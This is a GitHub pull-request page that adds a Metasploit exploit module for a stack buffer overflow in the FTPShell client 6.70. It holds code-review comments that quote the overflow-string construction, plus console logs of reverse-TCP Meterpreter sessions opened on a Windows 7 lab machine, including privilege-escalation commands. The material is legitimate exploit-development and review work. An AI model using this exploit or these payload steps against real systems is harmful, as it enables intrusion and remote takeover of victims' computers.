FTPShell client 6.70 (Enterprise edition) Stack Buffer Overflow #10213

DanielRTeixeira · 2018-06-27T15:38:17Z

This PR adds a module to exploit a remote buffer overflow in the FTPShell client 6.70.

Tested on: Windows 7 Enterprise SP1 x64

Verification

List the steps needed to make sure this thing works

Example

msf > use exploit/windows/ftp/ftpshell_cli_bof 
msf exploit(windows/ftp/ftpshell_cli_bof) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(windows/ftp/ftpshell_cli_bof) > set LHOST 172.16.106.129 
LHOST => 172.16.106.129
msf exploit(windows/ftp/ftpshell_cli_bof) > exploit 
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 172.16.106.129:4444 
[*] Please ask your target(s) to connect to 172.16.106.129:21
[*] Server started.
msf exploit(windows/ftp/ftpshell_cli_bof) > [*] 172.16.106.128 - connected.
[*] 172.16.106.128 - Response: Sending 220 Welcome
[*] 172.16.106.128 - Request: USER anonymous
[*] 172.16.106.128 - Response: sending 331 OK
[*] 172.16.106.128 - Request: PASS anonymous@anon.com
[*] 172.16.106.128 - Response: Sending 230 OK
[*] 172.16.106.128 - Request: PWD
[*] 172.16.106.128 - Request: Sending the malicious response
[*] Sending stage (179779 bytes) to 172.16.106.128
[*] Meterpreter session 1 opened (172.16.106.129:4444 -> 172.16.106.128:49263) at 2018-06-27 11:19:38 -0400

msf exploit(windows/ftp/ftpshell_cli_bof) > sessions 1
[*] Starting interaction with 1...

meterpreter > sysinfo 
Computer        : PC
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows
meterpreter >

bcoles

LGTM. Minor comments.

bcoles · 2018-06-28T10:31:50Z

modules/exploits/windows/ftp/ftpshell_cli_bof.rb

+
+    sploit = "220 \""
+    sploit << payload.encoded
+    sploit << "\x20"*(400-payload.encoded.length)


I believe you can use payload_space from Msf::Module::Target here, rather than hardcoding 400.

Also, some white space between operators makes this a little easier to read.

sploit << "\x20" * (payload_space - payload.encoded.length)

bcoles · 2018-06-28T10:34:23Z

modules/exploits/windows/ftp/ftpshell_cli_bof.rb

+
+    register_options(
+      [
+        OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ])


Single quotes are preferred when string interpolation isn't required.

Also, my personal preference is to format register_options as follows when there's only one option with a short description.

register_options [ OptPort.new('SRVPORT', [ true, 'The FTP port to listen on', 21 ]) ]

or:

register_options [ OptPort.new('SRVPORT', [ true, 'The FTP port to listen on', 21 ]) ]

Fixed the register_options.

bcoles · 2018-06-28T10:39:51Z

modules/exploits/windows/ftp/ftpshell_cli_bof.rb

+      'Author'   =>
+        [
+          'r4wd3r',                                            # Original exploit author
+          'Daniel Teixeira <danieljcrteixeira[at]gmail.com>'   # MSF module author


It looks like you're mentioned in about a dozen modules, and usually without an associated email address.

If you like, we can add your name to the .mailmap file. That way your email will be auto-populated in the documentation and when viewing the module info within msfconsole. Up to you.

# grep -rni 'Daniel Teixeira' modules/ modules/exploits/multi/http/oscommerce_installer_unauth_code_exec.rb:22: 'Daniel Teixeira' # MSF module author modules/exploits/windows/browser/exodus.rb:27: 'Daniel Teixeira' # MSF module author modules/exploits/windows/ftp/ayukov_nftp.rb:23: 'Daniel Teixeira', # MSF module author modules/exploits/windows/ftp/labf_nfsaxe.rb:23: 'Daniel Teixeira' # MSF module author modules/exploits/windows/http/dupscts_bof.rb:27: 'Daniel Teixeira' # Metasploit module modules/exploits/windows/http/vxsrchs_bof.rb:26: 'Daniel Teixeira' modules/exploits/windows/http/syncbreeze_bof.rb:26: 'Daniel Teixeira', modules/exploits/windows/http/disksorter_bof.rb:26: 'Daniel Teixeira' modules/exploits/windows/fileformat/syncbreeze_xml.rb:22: 'Daniel Teixeira' modules/exploits/windows/fileformat/dupscout_xml.rb:22: 'Daniel Teixeira' modules/exploits/windows/misc/cloudme_sync.rb:24: 'Daniel Teixeira' # MSF module author modules/exploits/windows/misc/disk_savvy_adm.rb:24: 'Daniel Teixeira' modules/auxiliary/dos/http/slowloris.py:24: 'Daniel Teixeira', # Metasploit module (Ruby)

Thank you, I would appreciate that if you could.

bcoles · 2018-06-28T10:40:40Z

modules/exploits/windows/ftp/ftpshell_cli_bof.rb

+    super(update_info(info,
+      'Name'           => 'FTPShell client 6.70 (Enterprise edition) Stack Buffer Overflow',
+      'Description'    => %q{
+          This module exploits a buffer overflow in the FTPShell client 6.70 (Enterprise edition) allowing remote


Line wrap at ~80 columns is preferred, but not required. In this instance it would make sense, as the following line contains only two words.

Done, thanks.

bcoles · 2018-06-28T10:42:38Z

modules/exploits/windows/ftp/ftpshell_cli_bof.rb

+    res = client.get_once.to_s.strip
+    print_status("#{client.peerhost} - Request: #{res}")
+
+    sploit = "220 \""


No need to use double quotes and escaping here.

sploit = '220 "'

bcoles · 2018-06-28T10:58:01Z

modules/exploits/windows/ftp/ftpshell_cli_bof.rb

+          'SRVHOST' => '0.0.0.0',
+          'EXITFUNC' => 'thread'
+        },
+      'DisclosureDate' => 'May 15 2017',


Is this 2017 disclosure date accurate? The CVE listed in References is from 2018.

A quick grep reveals this might be a result of forgotten copypasta from another FTP module:

# grep -rn "'May 15 2017'" modules/exploits/ modules/exploits/windows/ftp/labf_nfsaxe.rb:45: 'DisclosureDate' => 'May 15 2017', [...]

However, it appears there was a previous similar bug reported in FTPShell with CVE (2017-6465) dated March 9th 2017, with an exploit published on EDB on March 4th 2017.

If these are applicable, please add refs:

BID: 96570

EDB: 41511

CVE: 2017-6465

I'm sorry, I've fixed the disclosure date to March 4 2017

bcoles · 2018-06-29T04:55:20Z

modules/exploits/windows/ftp/ftpshell_cli_bof.rb

+    sploit << payload.encoded
+    sploit << '\x20' * (payload_space - payload.encoded.length)
+    sploit << target.ret
+    sploit << '" is current directory\r\n'


It looks like you were a little overzealous in replacing " with '.

Double quotes are needed for escaping, such as hex and CRLF.

sploit = '220 "' sploit << payload.encoded sploit << "\x20" * (payload_space - payload.encoded.length) sploit << target.ret sploit << "\" is current directory\r\n"

bcoles · 2018-06-29T04:55:23Z

modules/exploits/windows/ftp/ftpshell_cli_bof.rb

+  end
+
+  def on_client_connect(client)
+    return if ((p = regenerate_payload(client)) == nil)


.nil? is preffered

bcoles · 2018-06-29T05:12:40Z

I think the include Msf::Exploit::Remote::Egghunter mixin can be removed as it's not used.

If you fix the issues outlined above (double quotes, mixin, .nil?) then I'll proceed with merge.

msf5 exploit(windows/ftp/ftpshell_cli_bof) > rexploit 
[*] Stopping existing job...

[*] Server stopped.
[*] Reloading module...
[*] Exploit running as background job 10.

[*] Started reverse TCP handler on 172.16.191.188:4444 
[*] Please ask your target(s) to connect to 172.16.191.188:21
[*] Server started.
msf5 exploit(windows/ftp/ftpshell_cli_bof) > [*] 172.16.191.153 - connected.
[*] 172.16.191.153 - Response: Sending 220 Welcome
[*] 172.16.191.153 - Request: USER anonymous
[*] 172.16.191.153 - Response: sending 331 OK
[*] 172.16.191.153 - Request: PASS anonymous@anon.com
[*] 172.16.191.153 - Response: Sending 230 OK
[*] 172.16.191.153 - Request: PWD
[*] 172.16.191.153 - Request: Sending the malicious response
[*] Sending stage (179779 bytes) to 172.16.191.153

msf5 exploit(windows/ftp/ftpshell_cli_bof) > sessions

Active sessions
===============

  Id  Name  Type                     Information                             Connection
  --  ----  ----                     -----------                             ----------
  1         meterpreter x86/windows  WIN-SGBSD5TQUTQ\user @ WIN-SGBSD5TQUTQ  172.16.191.188:4444 -> 172.16.191.153:49479 (172.16.191.153)

msf5 exploit(windows/ftp/ftpshell_cli_bof) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: WIN-SGBSD5TQUTQ\user
meterpreter >

I ran into a couple of issues. Seems the exploit is not 100% reliable, which is ok for NormalRanking. I tried playing around with the number of tabs open, and the tab names, but this wasn't conclusive.

DanielRTeixeira · 2018-06-29T13:28:55Z

All done, hopefully this will address all the issues. Thank you for all the help.

bcoles · 2018-06-29T13:37:20Z

LGTM

msf5 exploit(windows/ftp/ftpshell_cli_bof) > 
[*] 172.16.191.153 - Response: Sending 220 Welcome
[*] 172.16.191.153 - Request: USER anonymous
[*] 172.16.191.153 - Response: sending 331 OK
[*] 172.16.191.153 - Request: PASS anonymous@anon.com
[*] 172.16.191.153 - Response: Sending 230 OK
[*] 172.16.191.153 - Request: PWD
[*] 172.16.191.153 - Request: Sending the malicious response
[*] Sending stage (179779 bytes) to 172.16.191.153

msf5 exploit(windows/ftp/ftpshell_cli_bof) > sessions -i 

Active sessions
===============

  Id  Name  Type                     Information                             Connection
  --  ----  ----                     -----------                             ----------
  1         meterpreter x86/windows  WIN-SGBSD5TQUTQ\user @ WIN-SGBSD5TQUTQ  172.16.191.188:4444 -> 172.16.191.153:49503 (172.16.191.153)

msf5 exploit(windows/ftp/ftpshell_cli_bof) > sessions -i 1 
[*] Starting interaction with 1...

meterpreter > getuid
Server username: WIN-SGBSD5TQUTQ\user
meterpreter > sysinfo
Computer        : WIN-SGBSD5TQUTQ
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 3
Meterpreter     : x86/windows
meterpreter > getsystem

bcoles · 2018-06-29T14:56:27Z

Release Notes

The exploit/windows/ftp/ftpshell_cli_bof module has been added to the framework. It exploits a stack-based buffer overflow vulnerability in FTPShell client 6.70 (Enterprise edition) on Windows systems.

r4wd3r · 2018-07-03T16:45:22Z

Nice job @DanielRTeixeira. Thanks for the credit on this one ;)

ghost · 2018-12-28T05:27:05Z

Hello, the success rate of this vulnerability is not 100%, is there any solution?

DanielRTeixeira added 3 commits June 27, 2018 16:36

FTPShell client 6.70 (Enterprise edition)

857dc39

FTPShell client 6.70 (Enterprise edition)

4a4e38a

Update ftpshell_cli_bof.rb

837427c

bcoles added module docs labels Jun 27, 2018

bcoles approved these changes Jun 28, 2018

View reviewed changes

bcoles reviewed Jun 28, 2018

View reviewed changes

DanielRTeixeira added 2 commits June 28, 2018 12:55

Update ftpshell_cli_bof.rb

bd2fb56

Update ftpshell_cli_bof.rb

1854793

bcoles reviewed Jun 29, 2018

View reviewed changes

bcoles self-assigned this Jun 29, 2018

Update ftpshell_cli_bof.rb

1e148a8

bcoles added the rn-exploit label Jun 29, 2018

bcoles merged commit 1e148a8 into rapid7:master Jun 29, 2018

bcoles added a commit that referenced this pull request Jun 29, 2018

Land #10213, Add FTPShell client 6.70 Stack Buffer Overflow exploit

c508a5f

msjenkins-r7 pushed a commit that referenced this pull request Jun 29, 2018

Land #10213, Add FTPShell client 6.70 Stack Buffer Overflow exploit

9bed9f0

ghost mentioned this pull request Dec 28, 2018

exploit/windows/ftp/ftpshell_cli_bof. Sometimes successful, sometimes failed. #11181

Closed

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

FTPShell client 6.70 (Enterprise edition) Stack Buffer Overflow #10213

FTPShell client 6.70 (Enterprise edition) Stack Buffer Overflow #10213

DanielRTeixeira commented Jun 27, 2018 •

edited by wchen-r7

bcoles left a comment

bcoles Jun 28, 2018

bcoles Jun 28, 2018

DanielRTeixeira Jun 28, 2018

bcoles Jun 28, 2018

DanielRTeixeira Jun 28, 2018

bcoles Jun 28, 2018

DanielRTeixeira Jun 28, 2018

bcoles Jun 28, 2018

DanielRTeixeira Jun 28, 2018

bcoles Jun 28, 2018

DanielRTeixeira Jun 28, 2018

bcoles Jun 28, 2018

DanielRTeixeira Jun 28, 2018

bcoles Jun 29, 2018

bcoles Jun 29, 2018

bcoles commented Jun 29, 2018

DanielRTeixeira commented Jun 29, 2018

bcoles commented Jun 29, 2018

bcoles commented Jun 29, 2018

r4wd3r commented Jul 3, 2018

ghost commented Dec 28, 2018

FTPShell client 6.70 (Enterprise edition) Stack Buffer Overflow #10213

FTPShell client 6.70 (Enterprise edition) Stack Buffer Overflow #10213

Conversation

DanielRTeixeira commented Jun 27, 2018 • edited by wchen-r7

Verification

Example

bcoles left a comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

bcoles commented Jun 29, 2018

DanielRTeixeira commented Jun 29, 2018

bcoles commented Jun 29, 2018

bcoles commented Jun 29, 2018

Release Notes

r4wd3r commented Jul 3, 2018

ghost commented Dec 28, 2018

DanielRTeixeira commented Jun 27, 2018 •

edited by wchen-r7